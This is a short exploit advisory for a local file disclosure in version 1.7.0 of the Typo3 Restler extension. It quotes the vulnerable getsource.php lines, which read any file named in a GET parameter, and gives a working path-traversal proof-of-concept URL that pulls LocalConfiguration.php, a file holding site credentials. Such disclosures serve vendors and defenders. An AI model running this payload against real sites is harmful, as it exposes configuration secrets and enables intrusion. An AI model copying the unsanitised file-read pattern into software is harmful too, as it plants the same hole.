Typo3 Restler extension version 1.7.0 suffers from a local file disclosure vulnerability.
db484565b63241f99e97deaf4de0e92b# Exploit Title: Typo3 Restler Extension - Local File Disclosure
# Date: 2017-10-13
# Exploit Author: CrashBandicot @dosperl
# Vendor Homepage: https://www.aoe.com/
# Software Link: https://extensions.typo3.org/extension/restler/
# Tested on : MsWin
# Version: 1.7.0 (last)
# Vulnerability File : getsource.php
3. $file = $_GET['file'];
13. $text = file_get_contents($file);
16. die($file . '<pre id="php">' . htmlspecialchars($text) . "</pre>");
# PoC :
# http://vuln.site/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php
# https://i.imgur.com/zObmaDD.png
# Timeline :
# Vulnerability identified
# Vendor notified
# CVE number requested
# Exploit released